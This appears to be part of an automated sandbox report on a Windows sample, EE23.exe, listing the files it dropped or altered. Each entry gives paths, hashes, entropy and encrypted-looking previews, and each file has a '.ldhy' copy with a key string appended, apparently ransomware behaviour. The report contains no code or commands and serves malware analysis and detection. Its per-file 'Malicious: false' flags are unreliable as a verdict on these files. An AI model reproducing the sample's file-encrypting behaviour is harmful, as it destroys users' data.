                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):42
                                                                                                                                                                                                                                                              Entropy (8bit):4.963745994207334
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:3:vKPPPCHolQlcy:SNQWy
                                                                                                                                                                                                                                                              MD5:4D56996B57741FA59DFDDED1946590DB
                                                                                                                                                                                                                                                              SHA1:281E3A27F7114604F425BFA2E75BD0B269CAF173
                                                                                                                                                                                                                                                              SHA-256:C112245FC2D0F41C63CAED3C14F17B9E4BCB8790C99A4DB15C0A55018A7C9E7A
                                                                                                                                                                                                                                                              SHA-512:53B8A7E2AEC8439B7A1811CCA5F71D2D2415057E37D5FD23D9218E5861EFA75A20E884EF3316C218D2CE88771E82B1561F3735FD5CD420B8E8F145F009CAEA25
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw..

                                                                                                                                                                                                                                                              C:\Users\user\.curlrc

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):342
                                                                                                                                                                                                                                                              Entropy (8bit):7.1821479113830256
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:6:KWfwWSIsdjvD01WHPHfSBN0IpY4xuytohPZDSKxTBX7zT5QFcOkFDvPuQW3cii9a:NflS1djb01WHPHSN0U/x1oNoKxVX7zV8
                                                                                                                                                                                                                                                              MD5:BF71C1C53F4292C9F5D58BB8AD6FD307
                                                                                                                                                                                                                                                              SHA1:8E592CCCD5C139D3A637553D5A9B904219F05403
                                                                                                                                                                                                                                                              SHA-256:CBA2C1DFE6BEACECCEEFC6F8BF6F3DA99A5A27690E83CFB03DAC119A85EBCE7F
                                                                                                                                                                                                                                                              SHA-512:3E3697B10EB2CDB50FDE2B62010E3DFF478D79931CC23B1DBA715A423B25BCF136F9D62895AF51D6DF2AE97DCC928E2B4C5E23E630EFDF9F54C7AE359B43CA18
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:insec.u.^.......r.]..u.>.b.......<...s...^.C(z].E.{....W..s&.|].......z...X+J.....vO....3^.W.........x?..k8$..u.....1..eG...g.g.k8k \.u...K.>q....q....P....P.f4uz9.2...7HG.qO'....B`o.qg.Y>..m_?e..V!...DD..p...o..ER.L...$..3.v.<2..L.........io..n.r..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\.curlrc.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):342
                                                                                                                                                                                                                                                              Entropy (8bit):7.1821479113830256
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:6:KWfwWSIsdjvD01WHPHfSBN0IpY4xuytohPZDSKxTBX7zT5QFcOkFDvPuQW3cii9a:NflS1djb01WHPHSN0U/x1oNoKxVX7zV8
                                                                                                                                                                                                                                                              MD5:BF71C1C53F4292C9F5D58BB8AD6FD307
                                                                                                                                                                                                                                                              SHA1:8E592CCCD5C139D3A637553D5A9B904219F05403
                                                                                                                                                                                                                                                              SHA-256:CBA2C1DFE6BEACECCEEFC6F8BF6F3DA99A5A27690E83CFB03DAC119A85EBCE7F
                                                                                                                                                                                                                                                              SHA-512:3E3697B10EB2CDB50FDE2B62010E3DFF478D79931CC23B1DBA715A423B25BCF136F9D62895AF51D6DF2AE97DCC928E2B4C5E23E630EFDF9F54C7AE359B43CA18
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:insec.u.^.......r.]..u.>.b.......<...s...^.C(z].E.{....W..s&.|].......z...X+J.....vO....3^.W.........x?..k8$..u.....1..eG...g.g.k8k \.u...K.>q....q....P....P.f4uz9.2...7HG.qO'....B`o.qg.Y>..m_?e..V!...DD..p...o..ER.L...$..3.v.<2..L.........io..n.r..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):628
                                                                                                                                                                                                                                                              Entropy (8bit):7.615157399831941
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:kwIHfrpX1zOXl+6MAiQ95oRUvwd06clc9tAjktHd5gBFfzXBUQscii9a:RI/rvz4lcQxvwdrEc9tUktHjaLsbD
                                                                                                                                                                                                                                                              MD5:3F7720A59BC4E6B2A6A15D13C8B776AD
                                                                                                                                                                                                                                                              SHA1:E42F86F43980A2ABA23FB5AACA79237B6AA5D599
                                                                                                                                                                                                                                                              SHA-256:51A2C9E75F6B80D6B0436804EE69895E1BC2D92F8B2B9CDAE13DE75CAE9F2289
                                                                                                                                                                                                                                                              SHA-512:12CC1DB637C097E9711112E488084C50F2DEADF2D1B654E904DE5C33548723837C324094D45BB106271D66AAF465665D02849AA01C34CB174EC923723206ED0E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:2023/.Z...iPl.(..]_.u......Z...g.[.r...Z.,....<.Ff...,..Q....C.>8.#.{.Y?.].G.f..]>E.w.e.q.h.v.,e_F...).P...y...R..].4..v.]G..!..=..{.q...V..........T.x....:v.w,.M..%....;C.,.TQxJ..;..X... ^....S.@s.=T.jJ.G.F.;..p.r..f...Bv.".y@...T:.n'z..h..#o.......lZ..o..U!...,...=4..:.L.Ka..3..I.;q-9J.S.....kY.V.5.........87y...S-.-./ x..jX...cl.j+aP@.H.....w19....arb..?.I......i..N..J."...&."...R....ku..x...(....X...T.T...e...M.=E..U....... ............e......V`....mx'|.[V..t+....HI...~..m.H....!.8b.E...9...T..z.....?.....e...`L..f8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):628
                                                                                                                                                                                                                                                              Entropy (8bit):7.615157399831941
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:kwIHfrpX1zOXl+6MAiQ95oRUvwd06clc9tAjktHd5gBFfzXBUQscii9a:RI/rvz4lcQxvwdrEc9tUktHjaLsbD
                                                                                                                                                                                                                                                              MD5:3F7720A59BC4E6B2A6A15D13C8B776AD
                                                                                                                                                                                                                                                              SHA1:E42F86F43980A2ABA23FB5AACA79237B6AA5D599
                                                                                                                                                                                                                                                              SHA-256:51A2C9E75F6B80D6B0436804EE69895E1BC2D92F8B2B9CDAE13DE75CAE9F2289
                                                                                                                                                                                                                                                              SHA-512:12CC1DB637C097E9711112E488084C50F2DEADF2D1B654E904DE5C33548723837C324094D45BB106271D66AAF465665D02849AA01C34CB174EC923723206ED0E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:2023/.Z...iPl.(..]_.u......Z...g.[.r...Z.,....<.Ff...,..Q....C.>8.#.{.Y?.].G.f..]>E.w.e.q.h.v.,e_F...).P...y...R..].4..v.]G..!..=..{.q...V..........T.x....:v.w,.M..%....;C.,.TQxJ..;..X... ^....S.@s.=T.jJ.G.F.;..p.r..f...Bv.".y@...T:.n'z..h..#o.......lZ..o..U!...,...=4..:.L.Ka..3..I.;q-9J.S.....kY.V.5.........87y...S-.-./ x..jX...cl.j+aP@.H.....w19....arb..?.I......i..N..J."...&."...R....ku..x...(....X...T.T...e...M.=E..U....... ............e......V`....mx'|.[V..t+....HI...~..m.H....!.8b.E...9...T..z.....?.....e...`L..f8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                                                                              Size (bytes):669
                                                                                                                                                                                                                                                              Entropy (8bit):7.6252573640024846
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:kuwt9Ye5znwhtJmKrAzULPimc0cDAo6BmXjx241Qw5puKmQscii9a:0bytzaO6h0ct6szPpHnsbD
                                                                                                                                                                                                                                                              MD5:67B02A981030AA97492A451CF8F144CF
                                                                                                                                                                                                                                                              SHA1:44A7C419AA063D4FB42EF3DE58013644EF68CE42
                                                                                                                                                                                                                                                              SHA-256:DFF735F43766EC0B4C89E52E5689FA86DD38C47ABDA46C281ACA150F92035554
                                                                                                                                                                                                                                                              SHA-512:74CBB082CC220A6B191FDB37CF5BE1981283C62F09775152C3CC9FB744E0A130FA4EB96E4837F6C464D538D36CF655DB80C23BDBE58792892F968A757C277402
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:2023/.y.M.....QF.v...bLM$+.sE....1..+...R.b...v.(..V.9.t....G@.7..L....>...N{-...y.6..a.#..../P8....i....H.S.g9YQo.....\G..]..}s...m.z.}..LR.#.F.P.+.oTH"...\..w`.y.........b............n^)u.0.p.Iy.81..|.>B.K.oPPUf..v.s...G..Gn i=....f\.....;..F4...F..V<...2.d.W.3....m.f.p..(VN$..5..\..4A..d$u ..0....3y.N.>..j......9....xF.\.....HI...._..r).f......3R.3E..3dR._.IT3..X....:3....i..R.....i..Mp...A...0F#\.^|.kSj..y...)..4.)..n%m.-.....Z..".0...eX......f.R.H.de~.?f.Ji....Z...j.b....9.8F.`"H...J.N.@..R`.....4.V..T.....8..^9A.K.....@..WO.=...m....8i...Sv......6...2..;8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):669
                                                                                                                                                                                                                                                              Entropy (8bit):7.6252573640024846
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:kuwt9Ye5znwhtJmKrAzULPimc0cDAo6BmXjx241Qw5puKmQscii9a:0bytzaO6h0ct6szPpHnsbD
                                                                                                                                                                                                                                                              MD5:67B02A981030AA97492A451CF8F144CF
                                                                                                                                                                                                                                                              SHA1:44A7C419AA063D4FB42EF3DE58013644EF68CE42
                                                                                                                                                                                                                                                              SHA-256:DFF735F43766EC0B4C89E52E5689FA86DD38C47ABDA46C281ACA150F92035554
                                                                                                                                                                                                                                                              SHA-512:74CBB082CC220A6B191FDB37CF5BE1981283C62F09775152C3CC9FB744E0A130FA4EB96E4837F6C464D538D36CF655DB80C23BDBE58792892F968A757C277402
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:2023/.y.M.....QF.v...bLM$+.sE....1..+...R.b...v.(..V.9.t....G@.7..L....>...N{-...y.6..a.#..../P8....i....H.S.g9YQo.....\G..]..}s...m.z.}..LR.#.F.P.+.oTH"...\..w`.y.........b............n^)u.0.p.Iy.81..|.>B.K.oPPUf..v.s...G..Gn i=....f\.....;..F4...F..V<...2.d.W.3....m.f.p..(VN$..5..\..4A..d$u ..0....3y.N.>..j......9....xF.\.....HI...._..r).f......3R.3E..3dR._.IT3..X....:3....i..R.....i..Mp...A...0F#\.^|.kSj..y...)..4.)..n%m.-.....Z..".0...eX......f.R.H.de~.?f.Ji....Z...j.b....9.8F.`"H...J.N.@..R`.....4.V..T.....8..^9A.K.....@..WO.=...m....8i...Sv......6...2..;8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):818
                                                                                                                                                                                                                                                              Entropy (8bit):7.738579848732657
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:YKW6ZcHnVZtU+fOzXXltqQz3h9d4UtsCbW3nfsbD:YUZcHnVZa+WLlthz3DtjbW3fmD
                                                                                                                                                                                                                                                              MD5:3CBD6DFA9461C806C6FD7FC7C17BD814
                                                                                                                                                                                                                                                              SHA1:85A91A517E6781EA292C3294C438831469A70B6E
                                                                                                                                                                                                                                                              SHA-256:FDB692562B3CC8C6C81FF4E13084E520E524E377FE2FD4DDDE760A2BC4458092
                                                                                                                                                                                                                                                              SHA-512:DA96A9A9564C147EC63912CE1FF3A462DD30A49B0708C8384D3DAD6C2DD98B86EBB799B2377749F0DC6BC74BABA5793310F1034C63E2F7F47EC474D14DF94B0A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:{"os_..z_...........6.nZ.,....b..a:..6......2..7....a.a.............jF...p.UK..7..e.b?..4....9k..F..`j.Z)3.../.......).....(?N.m".(..&4.m8...@u.4.QvC...'.&.gXL.$.v....w...'c.>.Q...@.].*"........*X..{X.=X+.a...E.a......]....6*...2..G.q..bX..v,_m...P~K....K./.>X..gIrK.$C...]l(...0..^..4s..:>..0 0..kD2..r.6[\..s...~.A.I.g.T..;..sV...Q{x.aH~..]....i.....M.=.......SUE._.._.......<...]..a....#+.'..t6..G.[.Pk..!...3.).z/..p....).HO.....~.==...H.<.z.>.He........'..J..Gb./....C7..x.6'.............\..f..8y.SCa...w...1..9.....~....0e...-...t....j..V....#.`.o5..`t....Z.6cJA.?e.1Q...?.=..c..@.gR7F..T..'#4^.C...S.bs..;S...WR_.9A"L.....:I.:.o..../{[.b....j..o..'._..*.@:...p."J.....tN../.+.c.0..u3.+G.p$.....xS.9U...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):818
                                                                                                                                                                                                                                                              Entropy (8bit):7.738579848732657
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:YKW6ZcHnVZtU+fOzXXltqQz3h9d4UtsCbW3nfsbD:YUZcHnVZa+WLlthz3DtjbW3fmD
                                                                                                                                                                                                                                                              MD5:3CBD6DFA9461C806C6FD7FC7C17BD814
                                                                                                                                                                                                                                                              SHA1:85A91A517E6781EA292C3294C438831469A70B6E
                                                                                                                                                                                                                                                              SHA-256:FDB692562B3CC8C6C81FF4E13084E520E524E377FE2FD4DDDE760A2BC4458092
                                                                                                                                                                                                                                                              SHA-512:DA96A9A9564C147EC63912CE1FF3A462DD30A49B0708C8384D3DAD6C2DD98B86EBB799B2377749F0DC6BC74BABA5793310F1034C63E2F7F47EC474D14DF94B0A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:{"os_..z_...........6.nZ.,....b..a:..6......2..7....a.a.............jF...p.UK..7..e.b?..4....9k..F..`j.Z)3.../.......).....(?N.m".(..&4.m8...@u.4.QvC...'.&.gXL.$.v....w...'c.>.Q...@.].*"........*X..{X.=X+.a...E.a......]....6*...2..G.q..bX..v,_m...P~K....K./.>X..gIrK.$C...]l(...0..^..4s..:>..0 0..kD2..r.6[\..s...~.A.I.g.T..;..sV...Q{x.aH~..]....i.....M.=.......SUE._.._.......<...]..a....#+.'..t6..G.[.Pk..!...3.).z/..p....).HO.....~.==...H.<.z.>.He........'..J..Gb./....C7..x.6'.............\..f..8y.SCa...w...1..9.....~....0e...-...t....j..V....#.`.o5..`t....Z.6cJA.?e.1Q...?.=..c..@.gR7F..T..'#4^.C...S.bs..;S...WR_.9A"L.....:I.:.o..../{[.b....j..o..'._..*.@:...p."J.....tN../.+.c.0..u3.+G.p$.....xS.9U...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):3947
                                                                                                                                                                                                                                                              Entropy (8bit):7.961325995253948
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:96:dvOvMI5Cm+TH8nmzNh9fFJHPlvAQPV/iMEjVKz8sWy+:lO9Cm+Trh9FJH9HpifRKr+
                                                                                                                                                                                                                                                              MD5:1F7E15E75A686632A35EBC07DD899FF2
                                                                                                                                                                                                                                                              SHA1:BE2DE7DB2DAF62FB27903C1CCF439F3DEA0A2D49
                                                                                                                                                                                                                                                              SHA-256:ADCCFD9B63A8DEE0552EBECB5DC029EE7828EE49E82A5C06C8E78818DDBFD35D
                                                                                                                                                                                                                                                              SHA-512:42EAF5AF4B43911B8E0A6AC60AB7D50404D30FC455C02719A12D5C61DD45F7251CB5749ADC04DE5BC4A12082C3DD31D1BD47825960029FD891344F9C73AC5F9A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:*...#..EQc..n...kB..j..m).i..~_.z.9f.ka.E.BU"...?.7.OE....X..]..]{.L<.!.)=.X.H..su,.1.y]a .Vn....F.,:..j.HJ.d...g..l.....^..92..`....O....d5....w.[.......?F......w..d...!....U....;C...$....\;)4.............[........J..k<?.;.a....u.!.a.....ZW..[!sOGsO...#..YH.|.......@..........S3.:.............}`.Z........(Q..M8J|HP..cm.f6..9..9..2/...s...?....Z..I.M}P.....+....>.....a.......>...&.A...5.t'.........7..r..h#...(nm.K.v...p.e]..D....2.k.wvW5\.....;.|.9%O.....<..........`"C[..aY..N.V~L$..Q...r...L..s.*...#...J........~...j.zZ.~.'j.).......+.w.?.&.KS.......R.......A.....gy.0......g........}*.W..&(....a.......A}FB.N...a).F[+.Q...D.oK..3v..C...MG.*...Os .*..k..kC.....F.T.....(..;..T....ek.S#K .........h.U......dy.=.U.M..T..Y.E......d!.2.pE5.......a....}.$.;/.....q.[...~.........?h g.r."....._.7a.&.x....... C..{].L-..._.Q>.../[Wj|...`...NFx...F./v5(..M......h...Gr7...\..PU.7............h]W>*.....M..:Vz.E......m..G*...hd.!..G.NS).oT..]=5.N..3.....w

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):3947
                                                                                                                                                                                                                                                              Entropy (8bit):7.961325995253948
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:96:dvOvMI5Cm+TH8nmzNh9fFJHPlvAQPV/iMEjVKz8sWy+:lO9Cm+Trh9FJH9HpifRKr+
                                                                                                                                                                                                                                                              MD5:1F7E15E75A686632A35EBC07DD899FF2
                                                                                                                                                                                                                                                              SHA1:BE2DE7DB2DAF62FB27903C1CCF439F3DEA0A2D49
                                                                                                                                                                                                                                                              SHA-256:ADCCFD9B63A8DEE0552EBECB5DC029EE7828EE49E82A5C06C8E78818DDBFD35D
                                                                                                                                                                                                                                                              SHA-512:42EAF5AF4B43911B8E0A6AC60AB7D50404D30FC455C02719A12D5C61DD45F7251CB5749ADC04DE5BC4A12082C3DD31D1BD47825960029FD891344F9C73AC5F9A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:*...#..EQc..n...kB..j..m).i..~_.z.9f.ka.E.BU"...?.7.OE....X..]..]{.L<.!.)=.X.H..su,.1.y]a .Vn....F.,:..j.HJ.d...g..l.....^..92..`....O....d5....w.[.......?F......w..d...!....U....;C...$....\;)4.............[........J..k<?.;.a....u.!.a.....ZW..[!sOGsO...#..YH.|.......@..........S3.:.............}`.Z........(Q..M8J|HP..cm.f6..9..9..2/...s...?....Z..I.M}P.....+....>.....a.......>...&.A...5.t'.........7..r..h#...(nm.K.v...p.e]..D....2.k.wvW5\.....;.|.9%O.....<..........`"C[..aY..N.V~L$..Q...r...L..s.*...#...J........~...j.zZ.~.'j.).......+.w.?.&.KS.......R.......A.....gy.0......g........}*.W..&(....a.......A}FB.N...a).F[+.Q...D.oK..3v..C...MG.*...Os .*..k..kC.....F.T.....(..;..T....ek.S#K .........h.U......dy.=.U.M..T..Y.E......d!.2.pE5.......a....}.$.;/.....q.[...~.........?h g.r."....._.7a.&.x....... C..{].L-..._.Q>.../[Wj|...`...NFx...F./v5(..M......h...Gr7...\..PU.7............h]W>*.....M..:Vz.E......m..G*...hd.!..G.NS).oT..]=5.N..3.....w

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):657
                                                                                                                                                                                                                                                              Entropy (8bit):7.657217899806367
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:kfR4siU12JbSMSofHPXXyzg+anTMrE7hVUaRRDKKkQS0Lz4EEaYznH9a8SUQsciD:a5iUcJbjSgPR+uMreca290H4EEaYr9aW
                                                                                                                                                                                                                                                              MD5:345BCDD233582C75821261348FD9245A
                                                                                                                                                                                                                                                              SHA1:3A26A76BA73A319A2E954324D29412B5FE817755
                                                                                                                                                                                                                                                              SHA-256:74D1751F794F1E74C6749367997A564A551F9B9D5B7073154FA8BFDFE18A16CB
                                                                                                                                                                                                                                                              SHA-512:C9835E1D899C7906030B0875DABCA9E0B0040F1C423F426BDFCC9ED432B34EAD222443599D081AD9A251A3966B751C1128F58CFDB1D2AD25A50E3375A2196D9B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:2023/._.X]......m....g......N.T0;.q0..?..4.....^S.....IW.c..S..`sf...g.X...Cf.s.=v.O ...5.!..'Msn.,..E..?...2...Ag...$.m.S.......=w.{|....a}..l....K...N5..iei.i.....3......$.z..Y..hi.]R.P..1-j..'.8...l.hY.FYO:.)..P..r7d..z.lVFTY(.....Sd..}.....a...*_.,}.G$.>$...B.Q.....V2... ..>.v..8H.r*..&..=g.H"...+.4...,a.(_............6.g..g..K9F.uy.............t.....:W..$7.`FFF....T.k....#J.2e....)x....\Z<..}./..0.n.......s..X.&..Q)GY|).7Il....*{v....F..M.(T.....X...#9I.m...b.2.m...7;!..;..H.D.l.%.A4.r.<.w~k..c0......,....2..I..)..Zn!.x7..-.n....q......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):657
                                                                                                                                                                                                                                                              Entropy (8bit):7.657217899806367
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:kfR4siU12JbSMSofHPXXyzg+anTMrE7hVUaRRDKKkQS0Lz4EEaYznH9a8SUQsciD:a5iUcJbjSgPR+uMreca290H4EEaYr9aW
                                                                                                                                                                                                                                                              MD5:345BCDD233582C75821261348FD9245A
                                                                                                                                                                                                                                                              SHA1:3A26A76BA73A319A2E954324D29412B5FE817755
                                                                                                                                                                                                                                                              SHA-256:74D1751F794F1E74C6749367997A564A551F9B9D5B7073154FA8BFDFE18A16CB
                                                                                                                                                                                                                                                              SHA-512:C9835E1D899C7906030B0875DABCA9E0B0040F1C423F426BDFCC9ED432B34EAD222443599D081AD9A251A3966B751C1128F58CFDB1D2AD25A50E3375A2196D9B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:2023/._.X]......m....g......N.T0;.q0..?..4.....^S.....IW.c..S..`sf...g.X...Cf.s.=v.O ...5.!..'Msn.,..E..?...2...Ag...$.m.S.......=w.{|....a}..l....K...N5..iei.i.....3......$.z..Y..hi.]R.P..1-j..'.8...l.hY.FYO:.)..P..r7d..z.lVFTY(.....Sd..}.....a...*_.,}.G$.>$...B.Q.....V2... ..>.v..8H.r*..&..=g.H"...+.4...,a.(_............6.g..g..K9F.uy.............t.....:W..$7.`FFF....T.k....#J.2e....)x....\Z<..}./..0.n.......s..X.&..Q)GY|).7Il....*{v....F..M.(T.....X...#9I.m...b.2.m...7;!..;..H.D.l.%.A4.r.<.w~k..c0......,....2..I..)..Zn!.x7..-.n....q......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):388
                                                                                                                                                                                                                                                              Entropy (8bit):7.335518144122625
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:fzobJdEKgMd4ODnIUeOlYnBFihjUnyQscii9a:fzodTgvUeOKzpnDsbD
                                                                                                                                                                                                                                                              MD5:D6A8A75B91E047733AC85134C8CECB77
                                                                                                                                                                                                                                                              SHA1:0C3ECA40BFA2F0AE3BEC9EED36A8AE5AAC325E26
                                                                                                                                                                                                                                                              SHA-256:84013B83BB6FBFCA19091DB2112214105156F580EFA7F0714A4D10C9399AF8E8
                                                                                                                                                                                                                                                              SHA-512:19AE9308C0E340635047ECCFA515BD9BFE7312A1E920737B97B3093E0AD253482728A785762490A1B6C90E431A76F1D78BE420FCB4A61A4C353A8172BBF293C5
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:08../....i.&.c`M..n.a|]....k.3...m_.+....xLG......K....=.w.[....XB........\7@..u.....8..7.w.]..[R..}..&.pn..n4..0.l.o.oR....Rj.H...6\B..j.d.........^.&.].$K...z|......:.^.!>....av.]....m/..nn..^.`:...!V&.YH!....u...%.`4.q)d..`......yO."......$T..O.......Iu.U|f.x.?.....u.i.1...N.e. .h...6..'.z.?.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

